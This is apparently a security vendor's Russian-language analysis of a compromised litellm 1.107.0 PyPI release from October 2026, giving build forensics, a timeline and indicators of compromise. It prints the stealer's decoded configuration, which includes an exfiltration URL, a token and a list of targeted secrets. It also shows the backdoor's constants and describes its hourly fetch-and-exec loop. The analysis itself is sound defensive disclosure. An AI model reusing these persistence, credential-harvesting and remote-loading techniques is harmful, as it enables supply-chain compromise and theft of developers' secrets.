Что делает атака
Установка litellm==1.107.0 размещает три файла в site-packages. Python загружает два из них каждый раз при запуске.
cook.pthимпортируетcook.py— похитителя учётных данных. Собирает SSH-ключи, облачные учётные данные, CI/CD-секреты, токены AI-инструментов, пароли браузера и ключи LLM-провайдеров из базы данных LiteLLM proxy. Шифрует данные и отправляет наwww.litellm[.]dev.sitecustomize.pyзапускает фоновый демон. Каждый час демон читает адрес сервера из файла на GitHub, запускает похитителя снова и загружает затем выполняет код с того сервера.
Как вредонос попал в релиз
В pyproject.toml исходного дистрибутива версии 1.107.0 (sdist) в секции сборки maturin добавлена одна дополнительная строка:
[tool.maturin]
...
python-source = "."
data = "cook" # <-- injected
python-packages = ["litellm_cli"] # legitimate (present upstream)
Параметр maturin data = "cook" копирует папку cook/ в litellm-1.107.0.data/purelib/ внутри wheel-файла. pip устанавливает эту папку в site-packages.
В sdist папка cook/ отсутствует, поэтому эта строка — единственное видимое изменение. Ни один публичный коммит в BerriAI/litellm не содержит data = "cook" или папку cook/.
В wheel-файле RECORD перечислены три добавленных файла:
litellm-1.107.0.data/purelib/cook.pth 12 bytes "import cook"
litellm-1.107.0.data/purelib/cook.py 22252 bytes exec(zlib.decompress(b64decode(...)))
litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes loader/backdoor + embedded stealer
Релиз не совпадает с его тегом
Тег v1.107.0 указывает на коммит 66c8f5b (06:59 UTC). В его pyproject.toml стоит version = "1.108.0". SafeDep сравнили все файлы sdist с деревьями git по хешам blob. Sdist соответствует более позднему коммиту a8113b0 на main (08:50 UTC) плюс пять отредактированных файлов и папка cook/.
Четыре отредактированных файла — это Cargo.toml с добавленной строкой readme = "README.md". Легитимные релизы 1.106.2 и rc2 содержат те же правки. Пятый файл — pyproject.toml, здесь его сравнение с коммитом a8113b0:
-version = "1.108.0"
+version = "1.107.0"
- "litellm-proxy-extras==0.4.111",
- "litellm-enterprise==0.1.79",
+ "litellm-proxy-extras==0.4.110", # same pins as 1.107.0rc2
+ "litellm-enterprise==0.1.78",
+data = "cook" # the injection
...
-version = "1.108.0" # second version field
+version = "1.107.0"
Правка устанавливает версию обратно на 1.107.0 и привязывает дополнительные пакеты к значениям rc2. Легитимный sdist версии 1.106.2 соответствует своему коммиту тега 49943cd, кроме строк readme в Cargo.toml.
Как были собраны wheel-файлы
Вредоносные wheel-файлы соответствуют выходу обычного конвейера релизов BerriAI:
- Файл
WHEELуказываетmaturinверсии 1.9.4, как и в легитимных релизах. Файлы вредоноса имеют правильные записи вRECORD, что говорит об отсутствии правок после сборки. - Временные метки ZIP показывают отдельные нативные сборки: macOS в 11:20, Linux в 11:21, Windows в 11:37 UTC.
- В Windows wheel-файле все 2804
.py-файла имеют окончания строк CRLF, включая три файла вредоноса. В Linux wheel-файле их нет. Checkout git на Windows с преобразованием окончаний строк дает такую картину.
Никакой публичный GitHub Actions не собирал и не публиковал релиз. SafeDep проверили все 539 запусков между 09:30 и 12:30 UTC. В 11:50 UTC, примерно через 10 минут после загрузки на PyPI, litellm-dispatcher[bot] опубликовал GitHub-релиз v1.107.0. Для версии 1.106.2 произошла такая же задержка. PyPI не содержит заверений происхождения (provenance attestations) для версий 1.107.0, 1.106.2 или rc2.
SafeDep оценивают с умеренной-высокой уверенностью, что приватный конвейер сборки BerriAI собрал эти wheel-файлы из скомпрометированного исходного кода git. Атакующий мог использовать скомпрометированные учётные данные мейнтейнера или бота, приватную ветку или зеркало, либо изменить ссылку, с которой собирается конвейер. Украденный PyPI-токен, используемый с машин атакующего, соответствует доказательствам хуже. Только логи приватного конвейера BerriAI могут подтвердить причину.
Payload 1: похиститель учётных данных в cook.py
При запуске Python выполняет каждую строку, начинающуюся с import, в файле .pth в site-packages. cook.pth содержит import cook, поэтому похиститель запускается в каждом Python-процессе на хосте: в приложении, pip, языковых серверах IDE и CI-задачах.
cook.py оборачивает примерно 61 КБ Python в один слой exec(zlib.decompress(base64.b64decode('...'))). Декодированный код начинается с такой конфигурации:
PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb' # sent as X-Token header
PC_PUBKEY = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...' # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC = True # runs in a daemon thread
PC_MODULES = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
'shell_hist','cloud_creds','dev_secrets','container_creds',
'cicd_secrets','ai_devtools','env_vars','db_litellm',
'cloud_metadata','gpg_keys','tls_privkey']
Что собирает
| Модуль | Мишени |
|---|---|
sysinfo, netinfo | Имя хоста, пользователь, операционная система, IP-адреса, сетевые настройки |
browser_pw | Сохранённые пароли Chromium, расшифрованные с помощью главного ключа профиля (DPAPI в Windows). logins.json и key4.db Firefox |
browser_hist | История браузера |
ssh_keys | ~/.ssh/* |
shell_hist | История bash и zsh, PowerShell PSReadLine, история cmd |
cloud_creds | ~/.aws/credentials и config, профиль Azure и токены, учётные данные gcloud, ~/.kube/config, ~/.docker/config.json, hosts.yml gh, rclone.conf, ~/.netrc |
dev_secrets | Файлы .pem, .key, .pfx, .p12, .pk8, .ppk в $HOME, Composer auth.json, сохранённые серверы FileZilla |
container_creds | Токен сервис-аккаунта Kubernetes |
cicd_secrets | config.toml GitLab runner, initialAdminPassword и master.key Jenkins, .vault-token, credentials.tfrc.json Terraform, настройки Packer |
ai_devtools | Claude Code, Claude Desktop, Cursor, Windsurf, Copilot, mcp.json VS Code, Gemini CLI, auth.json Codex, Continue, Aider, Goose, opencode, Qwen, Crush, Kiro, Zed, токен Hugging Face |
env_vars | Собственное окружение и окружение других процессов через /proc/<pid>/environ |
db_litellm | Читает DATABASE_URL и сбрасывает таблицы LiteLLM_CredentialsTable и LiteLLM_ProxyModelTable, в которых хранятся ключи API LLM-провайдеров LiteLLM proxy |
cloud_metadata | Сервис метаданных экземпляра AWS (IMDSv2, затем v1): удостоверение экземпляра и учётные данные роли |
gpg_keys, tls_privkey | Ключи GPG, приватные ключи TLS |
Как отправляет данные
- Шифрует JSON-результаты случайным ключом AES-256-CBC и шифрует этот ключ RSA-OAEP со встроенным открытым ключом.
- Упаковывает результат в tar.gz (
hdr.json,data.bin,key.bin) и отправляет POST-запросом наwww.litellm[.]dev/healthcheckс заголовкомX-Token: XWiA8gZNa7NcX2XRoAEb. - После успешной загрузки пишет
/tmp/.pc_once_72129118c59f5636c0bb, чтобы собрать данные только один раз на хосте. Также устанавливаетPRIVCOLLECT_ACTIVE=1, чтобы избежать повторного запуска в одной цепочке процессов.
Payload 2: бэкдор в sitecustomize.py
Python импортирует sitecustomize при запуске, поэтому этот файл также запускается в каждом Python-процессе.
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
LOCK_FILE = "/tmp/remote_code_loader.lock"
- Берёт исключительную блокировку на
/tmp/remote_code_loader.lock, чтобы на хосте запускался только один демон. - Вызывает
fork()иsetsid(), перенаправляет стандартный ввод и вывод в/dev/nullи меняет директорию на/, чтобы отделиться от родительского процесса. - Каждый час:
- читает
domain.txtиз GitHub-репозитория атакующего и берёт первую строку, похожую на домен, - запускает встроенную копию похитителя, у которой нет маркера одноразовости,
- загружает
http://<domain>/codepyи выполняет его черезexec().
- читает
Атакующий может направить демон на новый сервер, отредактировав domain.txt. Каждый инфицированный хост выполняет то, что этот сервер возвращает как codepy.
В 13:40 UTC аккаунт GitHub letters9813 и его репозиторий вернули 404, примерно через два часа после релиза. Бэкдор теперь не находит адрес сервера и ничего не делает. Хосты, на которых демон работал до удаления, могли получить и выполнить код второго этапа. SafeDep не удалось восстановить адрес сервера.
Временная шкала
Все времена — UTC 21 октября 2026 г.
| Время | Событие |
|---|---|
| 06:59 | Создан тег v1.107.0 коммита 66c8f5b |
| 08:50 | Коммит a8113b0 на main, база исходного кода релиза |
| 10:44 | Загружена легитимная версия 1.106.2 на PyPI |
| 11:20–11:37 | Собраны вредоносные wheel-файлы версии 1.107.0 |
| 11:39–11:40 | 1.107.0 загружена на PyPI (все 8 файлов) |
| 11:50 | litellm-dispatcher[bot] публикует GitHub-релиз v1.107.0 |
| 13:40 | Обнаружено: 1.107.0 удалена с PyPI, аккаунт letters9813 удалён |
Индикаторы компрометации
Сетевые
| Индикатор | Назначение |
|---|---|
www.litellm[.]dev, hxxp://www.litellm[.]dev/healthcheck | Получает украденные данные |
HTTP-заголовок X-Token: XWiA8gZNa7NcX2XRoAEb | Отправляется с каждой загрузкой |
raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt | Бэкдор читает отсюда адрес сервера (аккаунт удалён) |
hxxp://<domain>/codepy | Загрузка кода второго этапа |
Запросы к 169.254.169.254 из Python-процессов | Кража учётных данных экземпляра AWS |
На хосте
| Индикатор | Значение |
|---|---|
cook.pth, cook.py, sitecustomize.py в site-packages | Установлен вредонос |
/tmp/.pc_once_72129118c59f5636c0bb | Похиститель уже отправил данные |
/tmp/remote_code_loader.lock | Демон бэкдора запускался |
Переменная окружения PRIVCOLLECT_ACTIVE=1 | Присутствует в инфицированных процессах |
Отделённый Python-демон (родительский PID 1, собственная сессия, рабочая директория /) | Цикл бэкдора |
Хеши файлов (SHA-256)
| Файл | SHA-256 |
|---|---|
litellm-1.107.0.tar.gz | 2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819 |
litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl | 462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7 |
litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl | 668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6 |
litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl | 1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00 |
litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl | c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054 |
litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl | 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d |
litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl | 0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a |
litellm-1.107.0-cp310-abi3-win_amd64.whl | 12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484 |
Посаженные файлы имеют разные хеши в Windows из-за окончаний строк CRLF:
| Файл | Linux и macOS | Windows |
|---|---|---|
cook.pth | 7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb | 84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d |
cook.py | 9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25 | 03ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea |
sitecustomize.py | 34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa | b6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465 |